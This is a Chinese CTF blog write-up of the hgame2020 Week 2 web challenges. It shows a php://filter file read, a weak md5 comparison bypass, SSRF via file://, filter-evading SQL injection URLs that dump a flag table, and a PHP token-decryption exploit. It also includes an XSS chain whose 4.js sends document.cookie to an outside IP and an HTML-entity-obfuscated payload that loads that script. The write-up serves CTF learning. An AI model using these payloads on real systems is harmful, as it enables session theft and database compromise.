hgame2020-Level-Week2_Web_writeup

hgame2020-Level-Week2_Web_writeup

Cosmos的博客后台

打开题目,首先用伪协议读取index.phplogin.phpadmin.php

php://filter/convert.base64-encode/resource=index.php

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
session_start();

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}

$action = @$_GET['action'];
$filter = "/config|etc|flag/i";

if (isset($_GET['action']) && !empty($_GET['action'])) {
if(preg_match($filter, $_GET['action'])) {
echo "Hacker get out!";
exit();
}
include $action;
}
elseif(!isset($_GET['action']) || empty($_GET['action'])) {
header("Location: ?action=login.php");
exit();
}

login.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
include "config.php";
session_start();

//Only for debug
if (DEBUG_MODE){
if(isset($_GET['debug'])) {
$debug = $_GET['debug'];
if (!preg_match("/^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$/", $debug)) {
die("args error!");
}
eval("var_dump($$debug);");
}
}

if(isset($_SESSION['username'])) {
header("Location: admin.php");
exit();
}
else {
if (isset($_POST['username']) && isset($_POST['password'])) {
if ($admin_password == md5($_POST['password']) && $_POST['username'] === $admin_username){
$_SESSION['username'] = $_POST['username'];
header("Location: admin.php");
exit();
}
else {
echo "用户名或密码错误";
}
}
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Cosmos的博客后台</title>
<link href="static/signin.css" rel="stylesheet">
<link href="static/sticky-footer.css" rel="stylesheet">
<link href="https://cdn.bootcss.com/bootstrap/3.3.7/css/bootstrap.min.css" rel="stylesheet">
</head>

<body>

<div class="container">
<form class="form-signin" method="post" action="login.php">
<h2 class="form-signin-heading">后台登陆</h2>
<input type="text" name="username" class="form-control" placeholder="用户名" required autofocus>
<input type="password" name="password" class="form-control" placeholder="密码" required>
<input class="btn btn-lg btn-primary btn-block" type="submit" value="Submit">
</form>
</div>
<footer class="footer">
<center>
<div class="container">
<p class="text-muted">Created by Annevi</p>
</div>
</center>
</footer>
</body>
</html>

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<?php
include "config.php";
session_start();
if(!isset($_SESSION['username'])) {
header('Location: index.php');
exit();
}

function insert_img() {
if (isset($_POST['img_url'])) {
$img_url = @$_POST['img_url'];
$url_array = parse_url($img_url);
if (@$url_array['host'] !== "localhost" && $url_array['host'] !== "timgsa.baidu.com") {
return false;
}
$c = curl_init();
curl_setopt($c, CURLOPT_URL, $img_url);
curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);
$res = curl_exec($c);
curl_close($c);
$avatar = base64_encode($res);

if(filter_var($img_url, FILTER_VALIDATE_URL)) {
return $avatar;
}
}
else {
return base64_encode(file_get_contents("static/logo.png"));
}
}
?>

<html>
<head>
<title>Cosmos'Blog - 后台管理</title>
</head>
<body>
<a href="logout.php">退出登陆</a>
<div style="text-align: center;">
<h1>Welcome <?php echo $_SESSION['username'];?> </h1>
</div>
<form action="" method="post">
<fieldset style="width: 30%;height: 20%;float:left">
<legend>插入图片</legend>
<p><label>图片url: <input type="text" name="img_url" placeholder=""></label></p>
<p><button type="submit" name="submit">插入</button></p>
</fieldset>
</form>
<fieldset style="width: 30%;height: 20%;float:left">
<legend>评论管理</legend>
<h2>待开发..</h2>
</fieldset>
<fieldset style="width: 30%;height: 20%;">
<legend>文章列表</legend>
<h2>待开发..</h2>
</fieldset>
<fieldset style="height: 50%">
<div style="text-align: center;">
<img height='200' width='500' src='data:image/jpeg;base64,<?php echo insert_img() ? insert_img() : base64_encode(file_get_contents("static/error.jpg")); ?>'>
</div>
</fieldset>
</body>
</html>

首先在login.php中的第12行存在环境变量的读取,这里我们可以获取到username和md5加密后的密码值

我们接着看login.php第22行,这里密码比较是存在弱类型,所以可以用加密后也是0e开头的字符串即可绕过

接下来我们来看admin.php,这里host必须为localhost,且可以使用任何协议,直接用file协议进行读取

然后进行base64解码即可

Cosmos的留言板-1

通过fuzz判断这里把select和空格替换为空了

select绕过

1
http://139.199.182.61/index.php?id='^(length('selselectect')=6)^'

空格过滤绕过

1
http://139.199.182.61/index.php?id='^(length('%20')=1)^'

查询字段,这里只有一个字段

1
http://139.199.182.61/index.php?id=1'%0aorder%0aby%0a1%23

查看可显字段

1
http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0a(1)%23

查询库名

1
http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0adatabase()%23

查询表名

1
http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0a(sselectelect%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())%23

查询值

1
http://139.199.182.61/index.php?id=1'%0aand%0a'1'='2'%0aunion%0aseleselectct%0a(seleselectct%0a*%0afrom%0aeasysql.f1aggggggggggggg)%23

Cosmos的新语言

index.php页面内容如下

1
2
3
4
<?php
highlight_file(__FILE__);
$code = file_get_contents('mycode');
eval($code);

fuzz猜测/mycode果然存在,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
function encrypt($str){
$result = '';
for($i = 0; $i &lt; strlen($str); $i++){
$result .= chr(ord($str[$i]) + 1);
}
return $result;
}

echo(base64_encode(encrypt(strrev(str_rot13(base64_encode(str_rot13(encrypt(strrev(strrev(base64_encode($_SERVER['token'])))))))))));

if(@$_POST['token'] === $_SERVER['token']){
echo($_SERVER['flag']);
}

然后就是解密,这里python涉及到编码转换问题,比较麻烦,所以我使用php来逆向解密,关键问题是code代码中的解密部分会一直改变,所以需要先抓取,其他就按一般步骤来就好了,下面是我的exp。有可能第一次跑不出flag,多运行几遍代码就可以出flag了

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
//解密函数
function decrypt($str){
$result = '';
for($i = 0; $i < strlen($str); $i++){
$result .= chr(ord($str[$i]) - 1);
}
return $result;
}

//发送post请求函数
function post($url, $post_data = '', $timeout = 5){//curl
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_POST, 1);
if($post_data != ''){
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
}
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HEADER, false);
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}

//替换数组中的元素
function arrContentReplact($array)
{
if(is_array($array))
{
foreach($array as $k => $v)
{
$array[$k] = arrContentReplact($array[$k]);
}
}else
{
$array = str_replace(array('', 'encrypt','base64_encode'), array('', 'decrypt','base64_decode'), $array);
}
return $array;
}

//获取加密的token字符串
$text = file_get_contents('http://ffddf97958.php.hgame.n3ko.co/');
$re = '/<\/code><br>(.+)<br>/msx';
preg_match_all($re, $text, $matches, PREG_SET_ORDER, 0);
$str = $matches[0][1];

//获取code代码,提取其中的加密函数,加密函数会一直变
$code_text = file_get_contents('http://ffddf97958.php.hgame.n3ko.co/mycode');
$re = '/echo\((.+)\$_SERVER.+if/msx';
preg_match_all($re, $code_text, $matches, PREG_SET_ORDER, 0);
$code = $matches[0][1];
$payload = explode('(',$code); //把加密函数以(分割
$payload = array_filter($payload); //删除数组中的空值
$payload = arrContentReplact($payload); //调用替换数组中的元素
$payload = array_reverse($payload); //数组中的元素逆置

//把逆置后的元素拼接起来
$payload_str = '';
foreach ($payload as $v){
$payload_str .=( $v.'(');
}

//逆向解出token
eval(('$token='.$payload_str.'$str'.str_repeat(')',10).';'));

//发送post请求
echo post('http://ffddf97958.php.hgame.n3ko.co','token='.$token);

Cosmos的聊天室(这题是赛后复现的)

首先进行fuzz,这里过滤了<>中的内容、scriptiframe等,并且所有字母会被大写

4.js

1
2
var image=new Image();
image.src="http://118.25.36.154:10006/cookies.phpcookie="+document.cookie;

原始payload:

1
<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='http://118.25.36.154/4.js';//

由于尖括号不能两个同时存在,我们可以使用<,浏览器会自动帮我们闭合。函数我们可以使用html编码绕过。

//的原因是要注释掉插入聊天框后的<span>

bypass payload:

1
<img src=x onerror=S=&#x63;&#x72;&#x65;&#x61;&#x74;&#x65;&#x45;&#x6c;&#x65;&#x6d;&#x65;&#x6e;&#x74;&#x28;&#x22;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x22;&#x29;&#x3b;&#x62;&#x6f;&#x64;&#x79;&#x2e;&#x61;&#x70;&#x70;&#x65;&#x6e;&#x64;&#x43;&#x68;&#x69;&#x6c;&#x64;&#x28;&#x53;&#x29;&#x3b;&#x53;&#x2e;&#x73;&#x72;&#x63;&#x3d;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3a;&#x2f;&#x2f;&#x31;&#x31;&#x38;&#x2e;&#x32;&#x35;&#x2e;&#x33;&#x36;&#x2e;&#x31;&#x35;&#x34;&#x2f;&#x34;&#x2e;&#x6a;&#x73;&#x22;&#x2f;&#x2f;

然后nc监听

最后替换token即可获得flag

本文标题:hgame2020-Level-Week2_Web_writeup

文章作者:xianyu123

发布时间:2020年01月26日 - 21:49

最后更新:2020年02月04日 - 12:28

原始链接:http://0clickjacking0.github.io/2020/01/26/hgame2020-Level-Week2-Web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------    本文结束  感谢您的阅读    -------------